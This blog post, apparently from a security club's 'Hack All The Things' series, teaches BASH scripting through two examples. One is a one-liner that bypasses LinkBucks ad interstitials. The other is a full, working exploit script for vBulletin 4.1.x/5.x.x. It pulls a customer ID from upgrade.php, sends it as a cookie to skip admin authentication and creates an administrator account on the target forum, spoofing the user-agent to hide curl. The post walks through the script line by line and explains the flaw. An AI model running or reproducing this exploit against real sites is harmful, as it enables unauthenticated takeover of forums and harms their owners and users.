Posted on by and filed under Hack All The Things.

This installment of Hack All The Things will cover the importance of BASH scripting, give resources for learning BASH scripting, and show examples of using BASH scripts to automate certain tasks.

First and foremost, before even diving into the actual scripting portion of this post, it is paramount to have an intimate understanding of the Bourne Again SHell, or BASH, for short. As many security tools are built primarily for Linux users and the most widely used/encountered shell environment you will see as a Linux user is BASH it is incredibly useful to be able to understand basic BASH commands as well as how to do some basic things such as searching for text in a file or standard output. It is the assumption of the author that the reader has a cursory introduction to BASH; failing that, additional reading will be provided at the end of this post to help the budding Linux user.

Alright, enough with the boring stuff, let’s get into the meat of the post!

Why?

So why exactly should you bother learning BASH instead of a programming language like C or a scripting language like Ruby? Well you shouldn’t; BASH should not be used to replace a robust programming or scripting language but instead to supplement them. To clarify this, any script worth writing in BASH —unless it’s just a wrapper script— is worth re-writing in a different language for better performance among a plethora of other reasons. The point of learning BASH scripting is to allow you to create one-off scripts to help you in your current situation until you have time to convert it into a more proper language. Another use for BASH scripting is to create what is known as a “oneliner” or a string of commands all strung together with BASH scripting constructs which aims to accomplish a particular goal.

Here are some examples of BASH scripts and oneliners that will be broken down and examined.

Show & Tell

LinkBucks Bypasser

Not only does LinkBucks often display corrupted ads which can crash browsers or hog up resources, but sometimes you don’t feel like going through a LinkBucks ad just to be served up an ADF.LY ad. In cases like this the following BASH script can help alleviate some of the pain.

curl -s "<LINKBUCKS URL GOES HERE>" |grep Target

So first I’ll break down this extremely basic oneliner and then explain why it works.

The curl command is used to make HTTP/HTTPS requests to a webserver and can do numerous things such as send POST data, set cookies, etc. You can consider it a very simple, fairly limited, command-line web browser. The -s option simply makes curl output silenced as otherwise it would show things like how long it took to get the webpage; something we simply don’t care about.

The grep command is used to search output or files for text. This is an extremely versatile command as GREP is actually an acronym which stands for Global Regular Expression Parser and that’s exactly why it’s a very powerful command for finding occurrences of text, you can use highly advanced regular expressions to get exactly whatever data you may need.

Together this command is pretty simple, it grabs the HTML for the LinkBucks link and searches it for the word “Target”. But why that word?

Well, in the always amazing wisdom of the LinkBucks programming team they store the link that you will be redirected to in the HTML of the document. Most websites that serve interstitial ads (like ADF.LY) will only display the redirection link after a certain amount of time has expired which is a much better way to do it. In the case of LinkBucks though, simply looking for “Target” gets you the following line:

Lbjs.TargetUrl = 'http://site.com';

Want to see this script in action on a live LinkBucks site? Run the following:

curl -s "http://1f3a53aa.linkbucks.com/" |grep Target

The output you should get is the following:

Lbjs.TargetUrl = 'http://hackucf.com';

I know this script isn’t the most mindblowingly awesome use of BASH scripting but it serves as an example of how you can use BASH to code up a quick Proof-of-Concept (PoC) to exploit a simple vulnerability in a system.

Now for something I think we can all enjoy.

vBulletin 4.1.x / 5.x.x Exploit

This exploit was running around for a bit in different versions but mainly in a PHP version that was pretty crap to say the least. The PHP version required a lot of manual intervention that I thought was just a waste of time so I decided to spin up my own version utilizing BASH scripting which automated the whole process. This script is still kind of small but will take a lot of explaining so please bear with me, you’ll be better for it in the end.

#!/bin/bash
# vBAddMe.sh
# vBulletin 4.1.x/5.x.x upgrade.php Admin Account 0day
# Exploit By : connection
# Greetz To : you know who you are if we hang; otherwise <redacted> you
echo "
#####################################################################
 # vBAddMe.sh #
 # vBulletin 4.1.x/5.x.x upgrade.php Admin Account 0day #
 # Exploit By : connection #
 # Greetz To : you know who you are if we hang; otherwise <redacted> you # 
 #####################################################################
"
if [ ! $# == 4 ]; then
 echo "Usage: $0 <url> <user> <pass> <email>"
 echo "Example:"
 echo "$0 http://victim.com/install/upgrade.php evil haxx [email protected]"
 echo
 exit
fi
URL=$1
USER=$2
PASS=$3
EMAIL=$4
echo "[+] Grabbing Customer Number ..."
CUSTID=$(curl -s -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30" $URL |grep "CUSTN" |sed -E 's/.*CUSTNUMBER = "(.*)"./1/')
if [ -z "$CUSTID" ]; then
 echo "[!] Couldn't Grab Customer ID! Quitting"
 echo
 exit
fi
echo "[+] Customer Number : $CUSTID"
echo "[+] Adding user : $USER with password : $PASS ..."
curl -s -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30" -b bbcustomerid=$CUSTID -d ajax=1 -d version=install -d checktable=false -d firstrun=false -d step=7 -d startat=0 -d only=false -d customerid=$CUSTID -d options[skiptemplatemerge]=0 -d response=yes -d htmlsubmit=1 -d htmldata[username]=$USER -d htmldata[password]=$PASS -d htmldata[confirmpassword]=$PASS -d htmldata[email]=$EMAIL "$URL"
echo "Keep Your Hacks Up And Your Head Down"
echo

Alright let’s get into this in a top-down manner.

The #!/bin/bash  is known as a “Shebang” and is used to let the computer know to run /bin/bash when this script is invoked.

The next couple of lines are just comments which are indicated by the hash (#) sign and are used primarily to give shout outs to people as well as to describe the purpose and name of the script.

The echo command is a command that prints to the screen whatever you write after it. In this case the banner for the script is printed out. Note that while many of the lines have hashes in them, because they are contained within the quotes of the echo command they are treated as literal hashes and not as comments.

The next block of code uses a bit of BASH magic to make sure the user provided us with adequate command-line options and if not they are presented with an error. Using an if-statement we check for any condition which doesn’t result in the command-line options equaling exactly 4. By prefacing your conditional statement with an exclamation mark (!) you tell BASH to look for a failing condition. $# is a BASH construct which looks for any text passed after the script name and is very useful for script that require some user information in order to properly run. In the case that we have less than or greater than 4 arguments, the if-statement issues the code within it’s block. Within the if block we have code that basically yells at the user and explains how to properly use the script but the biggest take away is that $0 holds the name of the script that was invoked and as such is useful instead of hardcoding the name of this exploit in case someone decided to rename the file. So now the user knows that to launch this script properly he has to invoke the script in with options for the target url, and his desired username, password, and email address; simple enough.

Moving forward we see some variables being assigned values. Just as $0 holds the name of the script that was invoked, $1 holds the first bit of data (up until the space character) after the script name, which, in this case, should hold the target url. Following this same principle we not only assign the url to the URL variable but we give the USER, PASS, and EMAIL variables their corresponding values. Note that while variables are not assigned with a certain character, in order to reference a variable we must use the dollar-sign ($). For example, if we wanted to print the URL variable we would have to reference it as $URL.

Now that all of the setup for this exploit is done it’s time to have fun and actually start taking advantage of a silly flaw that allowed for remote, unauthenticated attackers to create administrator accounts on vBulletin forums.

We see an echo telling the user that the script is now grabbing the “Customer Number” and then a pretty similar curl | grep string shortly after. Let’s break it down while introducing a new concept.

It’s possible to make the output of one command assign itself to a particular variable and that’s exactly what was done here. The format of

VARIABLE=$(command)

Is used when you want to assign a variable the value of whatever a command returns. Here we know that we are going to set the CUSTID variable to whatever the following oneliner results in. We see a new option being passed to the curl command, which is the -A option. This option is used to specify a particular web browser user-agent and is useful for us in terms of obfuscating the fact that we are executing a curl command which sets its user-agent as “Curl.” Currently the webserver thinks we are a Safari browser on a Mac OSX system. Next up is a grep for “CUSTN” which is similar in nature to what we saw in the LinkBucks bypasser. The one new edition to this is the sed command. The sed command works on the principal of regular expressions as well but allows us more fine-grained access to the data and allows us to do this such as print out certain groups of data captured by regular expressions. This is useful for us because we don’t wan’t the whole line of text that contains the customer number, just the number itself. I won’t delve deeply into regular expressions as that is a whole blog post entirely, but suffice it to say that at a high level, the sed command searches for everything before the word “CUSTNUMBER” and right up to the space after the equal-sign (=) and then groups all the data together that is between the set of parentheses. It later references this data with the 1 which makes sed print out only the first capture group leaving our CUSTID variable filled with just the customer number.

We see another if-statement but this time it checks if the CUSTID variable is empty using the empty (-z) option in BASH if-statements. If the above block of code failed and we couldn’t get the customer number, the script complains and exits; otherwise it prints out the customer number to let us know the script is still chugging along.

We see another echo letting us know that the user is now being created.

This next command looks intimidating but it’s really just a single curl command with a lot of data. You’ve seen the user-agent option before so that just takes us to the -b and -d options. A way to set cookies in curl is to use the -b option and that’s basically what we did. Using the customer number we recently extracted we set the bbcustomerid cookie value to the customer number. The next piece of the puzzle is the -d option which simply lets us send POST data to the supplied url. In this case we are sending a bunch of stuff but also sending the username, password, and email address provided earlier in the script.

After this curl command executes we get an echo message that acts as a goodbye message and then the script exits.

Wow… that was a lot of info and it may not all have made perfect sense without understanding why this vulnerability works so I’ll go ahead and share just how this script exploits a pretty simply vulnerability in vBulletin.

Starting with version 4.1 of vBulletin, the upgrade.php file contained the customer id number within the javascript of the page (sound familiar) and while they may not sound like a bad thing, the customer id number can be set as a cookie value and used to bypass the administrative authentication required to access the upgrade panel to the forum. This is pretty bad but not entirely game ending until you realize that you can create administrator accounts from the upgrade panel as part of the upgrade process just by sending a POST request; there is no captcha to fill out or CSRF cookie to stop this because vBulletin figured that only legitimate administrators would ever even see the upgrade panel; bad move. By ripping out the customer number and figuring out which POST variables are sent when creating a new administrator account (this is easily done but checking out a locally installed vBulletin install and examining the data transmitted using something like tamperdata or livehttpheaders) it is trivial to write a script to automate the process.

How To Learn

The best way to learn BASH scripting is honestly to start scripting things. With that being said, the following links will greatly help you on your path to BASH proficiency and I consider them required reading for anyone interested in the Information Security industry.

http://www.tldp.org/LDP/Bash-Beginners-Guide/html/

http://www.tldp.org/LDP/abs/abs-guide.pdf

I hope you’ve enjoyed this (incredibly long) post.

Keep your hacks up and your head down,

~connection